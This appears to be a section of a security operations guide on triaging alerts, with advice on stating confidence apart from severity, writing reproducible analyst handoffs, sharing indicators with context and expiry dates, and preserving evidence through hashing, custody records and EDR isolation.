Check whether the behavior fits the host and user, whether it was authorized, how common it is and whether independent sources agree. State high, medium or low confidence with specific reasons. Confidence describes the strength of the finding; severity describes its impact and urgency.

An encoded PowerShell command launched by a signed deployment agent on 3,000 hosts during an approved window decodes to an authorized installation. That is a benign true positive when the rule correctly detects encoded PowerShell. The same pattern launched by Word on one host, contacting a two-day-old domain and creating persistence, supports a high-confidence malicious verdict.

Write a reproducible handoff

Record a short summary, UTC timeline, affected hosts and accounts, defanged indicators, supported ATT&CK techniques, verdict and confidence. Include queries, alert IDs, evidence locations and file hashes so another analyst can reach the same records. List actions already taken and the recommended next steps.

Explain why an alert is closed. If a detection repeatedly fires on activity outside its intended scope, give the detection engineers examples and context for tuning. Unexplained closure hides both missed attacks and recurring wasted effort.

Share indicators with context

Attach an expiry or review date to domain and IP indicators because ownership and use change. Avoid indiscriminate blocks of shared infrastructure such as CDNs. Exact hashes identify one file version, while behavior-based detections can catch variants. Preserve the relationship between an indicator, its observed behavior and its confidence when sharing it.

Preserve evidence and escalate

Escalate a confirmed malicious finding according to the incident response playbook, with severity based on affected assets and impact. Preserve original messages, captures, endpoint exports and collected samples. Record each file's SHA-256 and who collected or transferred it and when. These custody records document the evidence's handling; the hash provides an integrity check.

EDR isolation is usually preferable to powering off because it restricts communication while retaining memory and a management route. Killing processes and rebooting also change volatile evidence. Follow the playbook's containment priorities, collect what the case needs and record the timing of every response action so later analysts can distinguish attacker activity from the response.